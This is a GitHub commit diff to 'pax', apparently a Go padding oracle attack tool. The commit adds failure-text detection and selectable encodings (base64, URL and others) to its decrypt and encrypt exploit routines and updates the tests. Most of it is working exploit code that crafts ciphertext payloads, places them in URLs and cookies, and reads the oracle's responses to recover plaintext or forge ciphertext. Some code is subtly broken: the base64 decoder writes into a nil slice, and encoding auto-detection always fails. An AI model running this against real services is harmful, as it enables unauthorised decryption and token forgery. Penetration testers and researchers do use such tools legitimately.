Skip to content

Commit

Permalink
Added option for failure text, selectable encoding etc.
Browse files Browse the repository at this point in the history
  • Loading branch information
liamg committed Dec 28, 2020
1 parent 5011b3c commit dc23aea
Show file tree
Hide file tree
Showing 3 changed files with 133 additions and 64 deletions.
22 changes: 15 additions & 7 deletions cmd/pax/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,8 @@ var cookies string
var blockSize int = 16
var method string = http.MethodGet
var plaintext string
var failureText string
var encoding string = string(pax.EncodingAuto)

func init() {
rootCmd.AddCommand(decryptCmd)
Expand All @@ -28,6 +30,8 @@ func init() {
rootCmd.PersistentFlags().StringVarP(&cookies, "cookies", "c", cookies, "A string containing cookies. e.g. \"PHPSESSID=123456536;LOC=1;X=NO\".")
rootCmd.PersistentFlags().IntVarP(&blockSize, "block-size", "b", blockSize, "The block size used by the padding oracle. Usually 8, 16, or 32.")
rootCmd.PersistentFlags().StringVarP(&method, "method", "m", method, "The HTTP verb to use when sending requests to the oracle.")
rootCmd.PersistentFlags().StringVarP(&encoding, "encoding", "e", encoding, "The encoding used for the encrypted data: one of auto, base64, base64-url, url, none.")
rootCmd.PersistentFlags().StringVarP(&failureText, "failure-text", "f", failureText, "Text which is output by the oracle when a padding error occurs. If this is omitted, HTTP status codes will be used.")
}

func main() {
Expand Down Expand Up @@ -57,9 +61,11 @@ var decryptCmd = &cobra.Command{
}

options := pax.ExploitOptions{
BlockSize: blockSize,
Method: method,
Cookies: cookies,
BlockSize: blockSize,
Method: method,
Cookies: cookies,
Encoding: pax.Encoding(encoding),
FailureText: failureText,
}

output, err := pax.Decrypt(url, sample, &options)
Expand Down Expand Up @@ -98,10 +104,12 @@ var encryptCmd = &cobra.Command{
}

options := pax.ExploitOptions{
BlockSize: blockSize,
Method: method,
Cookies: cookies,
PlainText: plaintext,
BlockSize: blockSize,
Method: method,
Cookies: cookies,
PlainText: plaintext,
Encoding: pax.Encoding(encoding),
FailureText: failureText,
}

output, err := pax.Encrypt(url, sample, &options)
Expand Down
172 changes: 115 additions & 57 deletions internal/app/pax/exploit.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@ import (
"context"
"encoding/base64"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
Expand All @@ -18,15 +17,28 @@ import (

// ExploitOptions is a series of options to provide the encrypt/decryption functions
type ExploitOptions struct {
BlockSize int
Method string
Cookies string
PlainText string
BlockSize int
Method string
Cookies string
PlainText string
Encoding Encoding
FailureText string
}

type Encoding string

const (
EncodingAuto Encoding = "auto"
EncodingNone Encoding = "none"
EncodingBase64 Encoding = "base64"
EncodingURL Encoding = "url"
EncodingBase64URL Encoding = "base64-url"
)

var defaultOptions = &ExploitOptions{
BlockSize: 16,
Method: http.MethodGet,
Encoding: EncodingAuto,
}

func (options *ExploitOptions) inherit() {
Expand All @@ -36,6 +48,9 @@ func (options *ExploitOptions) inherit() {
if options.BlockSize == 0 {
options.BlockSize = defaultOptions.BlockSize
}
if options.Encoding == "" {
options.Encoding = defaultOptions.Encoding
}
}

// Decrypt will take encrypted data and exploit a padding oracle to decrypt it.
Expand All @@ -50,14 +65,15 @@ func Encrypt(url string, sample string, options *ExploitOptions) ([]byte, error)
}

type exploiter struct {
client *http.Client
sample string
url string
blockSize int
method string
cookies string
urlEncode bool
plaintext string
client *http.Client
sample string
url string
blockSize int
method string
cookies string
plaintext string
encoding Encoding
failureText string
}

func newExploiter(url, sample string, options *ExploitOptions) *exploiter {
Expand Down Expand Up @@ -86,44 +102,90 @@ func newExploiter(url, sample string, options *ExploitOptions) *exploiter {
}

return &exploiter{
sample: sample,
url: url,
plaintext: options.PlainText,
blockSize: options.BlockSize,
method: options.Method,
cookies: options.Cookies,
client: &http.Client{},
sample: sample,
url: url,
plaintext: options.PlainText,
blockSize: options.BlockSize,
method: options.Method,
cookies: options.Cookies,
client: &http.Client{},
encoding: options.Encoding,
failureText: options.FailureText,
}
}

func (x *exploiter) decrypt() ([]byte, error) {

rawB64 := x.sample

fmt.Println("Decoding sample...")

if strings.Contains(x.sample, "%") {
func (x *exploiter) decode(input []byte) ([]byte, error) {
encoding := x.encoding
if x.encoding == EncodingAuto {
var err error
rawB64, err = url.QueryUnescape(x.sample)
encoding, err = x.sniffEncoding(input)
if err != nil {
return nil, err
}
}

switch encoding {
case EncodingNone:
return input, nil
case EncodingURL:
decoded, err := url.QueryUnescape(string(input))
return []byte(decoded), err
case EncodingBase64:
var dst []byte
_, err := base64.StdEncoding.Decode(dst, input)
return dst, err
case EncodingBase64URL:
decoded, err := url.QueryUnescape(string(input))
if err != nil {
return nil, err
}
x.urlEncode = true
dst := make([]byte, base64.StdEncoding.DecodedLen(len(decoded)))
n, err := base64.StdEncoding.Decode(dst, []byte(decoded))
return dst[:n], err
default:
return nil, fmt.Errorf("encoding '%s' is not supported", encoding)
}
}

func (x *exploiter) encode(input []byte) ([]byte, error) {
switch x.encoding {
case EncodingNone:
return input, nil
case EncodingURL:
return []byte(url.QueryEscape(string(input))), nil
case EncodingBase64:
dst := make([]byte, base64.StdEncoding.EncodedLen(len(input)))
base64.StdEncoding.Encode(dst, input)
return dst, nil
case EncodingBase64URL:
dst := make([]byte, base64.StdEncoding.EncodedLen(len(input)))
base64.StdEncoding.Encode(dst, input)
return []byte(url.QueryEscape(string(dst))), nil
default:
return nil, fmt.Errorf("encoding '%s' is not supported", x.encoding)
}
}

var ErrUnknownEncoding = fmt.Errorf("failed to determine encoding")

func (x *exploiter) sniffEncoding(sample []byte) (Encoding, error) {
return EncodingAuto, ErrUnknownEncoding
}

func (x *exploiter) decrypt() ([]byte, error) {

sample, err := base64.StdEncoding.DecodeString(rawB64)
if err != nil { // if this isn't valid base64, just take it as literal encrypted bytes
fmt.Println("Decoding sample...")
sample, err := x.decode([]byte(x.sample))
if err != nil {
return nil, err
}

fmt.Println("Checking sample...")

if len(sample)%x.blockSize > 0 {
return nil, fmt.Errorf("sample data is incorrect length for given blocksize")
}

fmt.Println("Trying oracle with sample data...")

valid, err := x.try(sample)
if err != nil {
return nil, err
Expand Down Expand Up @@ -162,15 +224,6 @@ func (x *exploiter) decrypt() ([]byte, error) {

func (x *exploiter) encrypt() ([]byte, error) {

fmt.Println("Decoding sample...")

if strings.Contains(x.sample, "%") {
if _, err := url.QueryUnescape(x.sample); err != nil {
return nil, err
}
x.urlEncode = true
}

plaintext, err := pkcs7Pad([]byte(x.plaintext), x.blockSize)
if err != nil {
return nil, err
Expand All @@ -196,12 +249,7 @@ func (x *exploiter) encrypt() ([]byte, error) {
output = append(blockOutput, output...)
}

b64 := base64.StdEncoding.EncodeToString(output)
if x.urlEncode {
return []byte(url.QueryEscape(b64)), nil
}

return []byte(b64), nil
return x.encode(output)
}

func (x *exploiter) attackBlock(targetBlock []byte) ([]byte, error) {
Expand Down Expand Up @@ -250,9 +298,12 @@ func (x *exploiter) attackBlock(targetBlock []byte) ([]byte, error) {
// returns true if payload is valid
func (x *exploiter) try(payload []byte) (bool, error) {

encoded := base64.StdEncoding.EncodeToString(payload)
encoded, err := x.encode(payload)
if err != nil {
return false, err
}

fullURL := strings.ReplaceAll(x.url, x.sample, encoded)
fullURL := strings.ReplaceAll(x.url, x.sample, string(encoded))

req, err := http.NewRequest(x.method, fullURL, nil)
if err != nil {
Expand All @@ -264,13 +315,9 @@ func (x *exploiter) try(payload []byte) (bool, error) {
for _, cookie := range cookies {
parts := strings.SplitN(cookie, "=", 2)
if len(parts) == 2 {
escaped := encoded
if x.urlEncode {
escaped = url.QueryEscape(escaped)
}
req.AddCookie(&http.Cookie{
Name: strings.TrimSpace(parts[0]),
Value: strings.ReplaceAll(strings.TrimSpace(parts[1]), x.sample, escaped),
Value: strings.ReplaceAll(strings.TrimSpace(parts[1]), x.sample, string(encoded)),
Path: "/",
Domain: req.Host,
})
Expand All @@ -279,15 +326,22 @@ func (x *exploiter) try(payload []byte) (bool, error) {
}

var statusCode int
var body string

if err := retry.Do(func() error {
response, err := x.client.Do(req)
if err != nil {
return fmt.Errorf("request to oracle failed with error: %s", err)
}

data, err := ioutil.ReadAll(response.Body)
if err != nil {
return err
}
body = string(data)

defer func() {
io.Copy(ioutil.Discard, response.Body)
response.Body.Close()
_ = response.Body.Close()
}()
if response.StatusCode == http.StatusBadGateway ||
response.StatusCode == http.StatusGatewayTimeout ||
Expand All @@ -300,6 +354,10 @@ func (x *exploiter) try(payload []byte) (bool, error) {
return false, err
}

if x.failureText != "" {
return !strings.Contains(body, x.failureText), nil
}

if statusCode > 399 {
return false, nil
}
Expand Down
3 changes: 3 additions & 0 deletions internal/app/pax/exploit_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@ func Test_DecryptViaQuerystring(t *testing.T) {

result, err := Decrypt(ts.URL+"?enc="+sample, sample, &ExploitOptions{
BlockSize: aes.BlockSize,
Encoding: EncodingBase64URL,
})
require.NoError(t, err)

Expand All @@ -52,6 +53,7 @@ func Test_DecryptViaCookie(t *testing.T) {
result, err := Decrypt(ts.URL, encodedCipherText, &ExploitOptions{
BlockSize: aes.BlockSize,
Cookies: "ENC=" + encodedCipherText,
Encoding: EncodingBase64URL,
})
require.NoError(t, err)

Expand All @@ -77,6 +79,7 @@ func Test_EncryptViaQuerystring(t *testing.T) {
result, err := Encrypt(ts.URL+"?enc="+sample, sample, &ExploitOptions{
BlockSize: aes.BlockSize,
PlainText: plaintext,
Encoding: EncodingBase64URL,
})
require.NoError(t, err)

Expand Down

0 comments on commit dc23aea

Please sign in to comment.